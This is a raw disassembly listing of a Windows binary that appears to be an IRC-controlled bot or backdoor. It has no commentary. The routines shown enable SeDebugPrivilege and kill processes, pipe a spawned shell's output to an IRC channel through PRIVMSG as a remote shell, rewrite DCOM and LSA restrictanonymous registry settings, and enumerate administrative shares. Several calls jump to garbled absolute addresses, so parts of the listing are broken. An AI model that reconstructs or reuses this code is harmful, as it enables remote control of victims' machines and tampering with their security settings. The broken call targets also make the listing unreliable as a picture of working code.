		test	eax, eax
		jz	loc_4198A9
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CAE88
		test	eax, eax
		jz	loc_4198A9
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh


loc_419780:				; CODE XREF: sub_4196BC+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4197E7
		mov	[ebp+var_4], offset off_4396C0


loc_41978E:				; CODE XREF: sub_4196BC+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	near ptr 2801157h
		nop
		test	eax, eax
		jz	short loc_4197B6
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_439720
		jb	short loc_41978E
		jmp	loc_41988F
; ---------------------------------------------------------------------------


loc_4197B6:				; CODE XREF: sub_4196BC+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41988F
		push	0
		push	eax
		nop
		call	near ptr 26F0B2Fh
		test	eax, eax
		jnz	loc_41988F


loc_4197DD:				; CODE XREF: sub_4196BC+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_41988F
; ---------------------------------------------------------------------------


loc_4197E7:				; CODE XREF: sub_4196BC+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41987A
		cmp	[ebp+arg_4], eax
		jz	loc_41988F
		push	[ebp+var_128]
		push	8
		call	dword_4CAF94
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983A
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CAE34
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419840
		lea	eax, [ebp+var_234]
		jmp	short loc_419846
; ---------------------------------------------------------------------------


loc_41983A:				; CODE XREF: sub_4196BC+15Cj
		push	[ebp+var_128]


loc_419840:				; CODE XREF: sub_4196BC+174j
		lea	eax, [ebp+var_10C]


loc_419846:				; CODE XREF: sub_4196BC+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4197DD
; ---------------------------------------------------------------------------


loc_41987A:				; CODE XREF: sub_4196BC+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C2


loc_41988F:				; CODE XREF: sub_4196BC+F5j
					; sub_4196BC+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CAE88
		test	eax, eax
		jnz	loc_419780
		xor	ebx, ebx


loc_4198A9:				; CODE XREF: sub_4196BC+9Dj
					; sub_4196BC+B3j
		push	[ebp+var_8]
		call	esi


loc_4198AE:				; CODE XREF: sub_4196BC+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx


loc_4198BB:				; CODE XREF: sub_4196BC+3Aj
					; sub_4196BC+46j ...
		xor	eax, eax


loc_4198BD:				; CODE XREF: sub_4196BC+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4198C2:				; CODE XREF: sub_4196BC+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		call	near ptr 26F0B2Fh
		nop
		test	eax, eax
		jnz	short loc_4198E6
		push	edi
		call	esi
		jmp	short loc_4198BB
; ---------------------------------------------------------------------------


loc_4198E6:				; CODE XREF: sub_4196BC+223j
		push	1
		pop	eax
		jmp	short loc_4198BD
sub_4196BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EB	proc near		; DATA XREF: sub_401ACD+26CDo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_4398C0
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994A
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h


loc_41994A:				; CODE XREF: sub_4198EB+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4196BC
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419972
		push	offset unk_43989C
		jmp	short loc_419977
; ---------------------------------------------------------------------------


loc_419972:				; CODE XREF: sub_4198EB+7Ej
		push	offset unk_439878


loc_419977:				; CODE XREF: sub_4198EB+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AA
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h


loc_4199AA:				; CODE XREF: sub_4198EB+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4151AC
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
sub_4198EB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199C9	proc near		; CODE XREF: sub_401ACD+78B3p
					; sub_40B231+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	near ptr 267090Eh
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FB
		push	0
		push	esi
		nop
		call	near ptr 26F0B2Fh
		test	eax, eax
		jnz	short loc_4199FB
		push	esi
		xor	edi, edi
		nop
		call	near ptr 265092Ah


loc_4199FB:				; CODE XREF: sub_4199C9+1Aj
					; sub_4199C9+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199C9	endp

; ---------------------------------------------------------------------------
dword_419A00	dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh,	35FF18C4h
					; DATA XREF: ___:004015EEo
		dd 4396BCh, 256B96E8h, 0E3EB9002h

; =============== S U B	R O U T	I N E =======================================



sub_419A20	proc near		; CODE XREF: sub_419A50+2Ap
					; sub_419A88+7Ep ...
		mov	eax, dword_4DB1F8
		push	esi
		mov	esi, dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A34
		push	eax
		call	esi


loc_419A34:				; CODE XREF: sub_419A20+Fj
		mov	eax, dword_4DB200
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A41
		push	eax
		call	esi


loc_419A41:				; CODE XREF: sub_419A20+1Cj
		mov	eax, dword_4DB1F4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4E
		push	eax
		call	esi


loc_419A4E:				; CODE XREF: sub_419A20+29j
		pop	esi
		retn
sub_419A20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A50	proc near		; CODE XREF: sub_401ACD+7604p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DB1FC
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jnz	short loc_419A83
		call	sub_419A20
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419A83:				; CODE XREF: sub_419A50+28j
		push	1
		pop	eax
		leave
		retn
sub_419A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A88	proc near		; CODE XREF: sub_419B0F+D3p
					; sub_419B0F+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_43D128
		push	[ebp+arg_4]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACB
		push	7D0h
		nop
		call	near ptr 26705B3h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_419AE2
; ---------------------------------------------------------------------------


loc_419ACB:				; CODE XREF: sub_419A88+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_419AE2:				; CODE XREF: sub_419A88+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		test	eax, eax
		jg	short loc_419B0B
		call	sub_419A20


loc_419B0B:				; CODE XREF: sub_419A88+7Cj
		xor	eax, eax
		leave
		retn
sub_419A88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B0F	proc near		; DATA XREF: sub_419C64+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DB204


loc_419B27:				; CODE XREF: sub_419B0F+79j
					; sub_419B0F+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DB1F8
		nop
		call	near ptr 2801A35h
		test	eax, eax
		jz	loc_419BF5
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8A
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DB1F4
		call	near ptr 28015A1h
		nop
		test	eax, eax
		jz	short loc_419B80
		cmp	[ebp+var_8], 103h
		jnz	loc_419C19


loc_419B80:				; CODE XREF: sub_419B0F+62j
		push	0Ah
		call	near ptr 26705B3h
		nop
		jmp	short loc_419B27
; ---------------------------------------------------------------------------


loc_419B8A:				; CODE XREF: sub_419B0F+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA1


loc_419B91:				; CODE XREF: sub_419B0F+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_419BEF
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B91


loc_419BA1:				; CODE XREF: sub_419B0F+80j
		mov	[ebp+var_4], esi


loc_419BA4:				; CODE XREF: sub_419B0F+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DB1F8
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jz	short loc_419C41
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		add	esp, 0Ch
		jmp	loc_419B27
; ---------------------------------------------------------------------------


loc_419BEF:				; CODE XREF: sub_419B0F+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA4
; ---------------------------------------------------------------------------


loc_419BF5:				; CODE XREF: sub_419B0F+45j
		push	offset unk_439948
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	1
		nop
		call	near ptr 26D0000h


loc_419C19:				; CODE XREF: sub_419B0F+6Bj
		call	sub_419A20
		push	offset unk_439920
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26D0000h


loc_419C41:				; CODE XREF: sub_419B0F+C3j
		push	offset unk_4398F0
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		call	near ptr 26D0000h
		nop
sub_419B0F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C64	proc near		; CODE XREF: sub_401ACD+2507p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A20
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_43350C
		push	esi
		call	dword_4CB030
		test	eax, eax
		jz	loc_419D5E
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_419D5E
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_419D5E
		mov	edi, dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4DB1FC
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		call	near ptr 2700000h
		nop
		test	eax, eax
		jz	short loc_419D5E
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset dword_43D128
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	near ptr 2650BFCh
		nop
		test	eax, eax
		jnz	short loc_419D66


loc_419D5E:				; CODE XREF: sub_419C64+2Fj
					; sub_419C64+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E14
; ---------------------------------------------------------------------------


loc_419D66:				; CODE XREF: sub_419C64+F8j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DB1F8, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DB200, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DB1F4, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DB238, eax
		jz	short loc_419DA0
		push	[ebp+arg_4]
		jmp	short loc_419DA1
; ---------------------------------------------------------------------------


loc_419DA0:				; CODE XREF: sub_419C64+135j
		push	ebx


loc_419DA1:				; CODE XREF: sub_419C64+13Aj
		push	offset dword_4DB204
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_4399AC
		call	sub_40B0F6
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43DEB8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B0F
		push	esi
		push	esi
		nop
		call	near ptr 2670659h
		cmp	eax, esi
		mov	dword_43DEC4[edi], eax
		jnz	short loc_419E12
		nop
		call	near ptr 2680000h
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_439978
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_419E12:				; CODE XREF: sub_419C64+185j
		xor	eax, eax


loc_419E14:				; CODE XREF: sub_419C64+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E19	proc near		; DATA XREF: sub_401ACD+2E0Bo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E60
		call	sub_419E79
		jmp	short loc_419E65
; ---------------------------------------------------------------------------


loc_419E60:				; CODE XREF: sub_419E19+3Ej
		call	sub_41A19D


loc_419E65:				; CODE XREF: sub_419E19+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		push	0
		nop
		call	near ptr 26D0000h
sub_419E19	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E79	proc near		; CODE XREF: sub_419E19+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CB044, edi
		jnz	loc_419FAB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_419F04
		mov	ax, word_438724
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_419EE6
		push	offset dword_439C48
		jmp	short loc_419EEB
; ---------------------------------------------------------------------------


loc_419EE6:				; CODE XREF: sub_419E79+64j
		push	offset dword_439C28


loc_419EEB:				; CODE XREF: sub_419E79+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_419F17
; ---------------------------------------------------------------------------


loc_419F04:				; CODE XREF: sub_419E79+36j
		lea	eax, [ebp+var_214]
		push	offset dword_439BF8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419F17:				; CODE XREF: sub_419E79+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F36
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_419F36:				; CODE XREF: sub_419E79+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_419FA4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_419F86
		push	offset dword_439BA8
		jmp	short loc_419F8B
; ---------------------------------------------------------------------------


loc_419F86:				; CODE XREF: sub_419E79+104j
		push	offset dword_439B74


loc_419F8B:				; CODE XREF: sub_419E79+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_419FBE
; ---------------------------------------------------------------------------


loc_419FA4:				; CODE XREF: sub_419E79+E2j
		push	offset dword_439B38
		jmp	short loc_419FB0
; ---------------------------------------------------------------------------


loc_419FAB:				; CODE XREF: sub_419E79+13j
		push	offset dword_439B08


loc_419FB0:				; CODE XREF: sub_419E79+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419FBE:				; CODE XREF: sub_419E79+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_419FDD:				; CODE XREF: sub_419E79+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB06C, edi
		pop	ecx
		jnz	loc_41A158
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A000:				; CODE XREF: sub_419E79+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CAEB8
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09D
		cmp	eax, 0EAh
		jz	short loc_41A09D
		mov	esi, offset off_4399D0


loc_41A031:				; CODE XREF: sub_419E79+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6B
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A048
		push	offset dword_439AE4
		jmp	short loc_41A04D
; ---------------------------------------------------------------------------


loc_41A048:				; CODE XREF: sub_419E79+1C6j
		push	offset dword_439AB8


loc_41A04D:				; CODE XREF: sub_419E79+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A080
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A080:				; CODE XREF: sub_419E79+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_4399F0
		jb	short loc_41A031
		jmp	loc_41A135
; ---------------------------------------------------------------------------


loc_41A09D:				; CODE XREF: sub_419E79+1AAj
					; sub_419E79+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12C


loc_41A0AC:				; CODE XREF: sub_419E79+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41D817
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A121
		push	edi
		call	sub_418B58
		push	eax
		push	0
		call	sub_418C6B
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DB
		push	offset dword_439A94
		jmp	short loc_41A0E0
; ---------------------------------------------------------------------------


loc_41A0DB:				; CODE XREF: sub_419E79+259j
		push	offset dword_439A68


loc_41A0E0:				; CODE XREF: sub_419E79+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A114
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A114:				; CODE XREF: sub_419E79+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_41A121:				; CODE XREF: sub_419E79+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AC
		xor	edi, edi


loc_41A12C:				; CODE XREF: sub_419E79+22Dj
		push	[ebp+var_8]
		call	dword_4CB004


loc_41A135:				; CODE XREF: sub_419E79+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A000
		lea	eax, [ebp+var_214]
		push	offset dword_439A40
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16B
; ---------------------------------------------------------------------------


loc_41A158:				; CODE XREF: sub_419E79+177j
		lea	eax, [ebp+var_214]
		push	offset dword_439A10
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A16B:				; CODE XREF: sub_419E79+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A189
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A189:				; CODE XREF: sub_419E79+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19D	proc near		; CODE XREF: sub_419E19:loc_419E60p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CB044, ebx
		push	esi
		jnz	loc_41A2CB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_41A228
		mov	ax, word_438768
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_41A20A
		push	offset dword_439DC0
		jmp	short loc_41A20F
; ---------------------------------------------------------------------------


loc_41A20A:				; CODE XREF: sub_41A19D+64j
		push	offset dword_439DA4


loc_41A20F:				; CODE XREF: sub_41A19D+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_41A23B
; ---------------------------------------------------------------------------


loc_41A228:				; CODE XREF: sub_41A19D+36j
		lea	eax, [ebp+var_220]
		push	offset dword_439BF8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A23B:				; CODE XREF: sub_41A19D+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A25A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A25A:				; CODE XREF: sub_41A19D+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
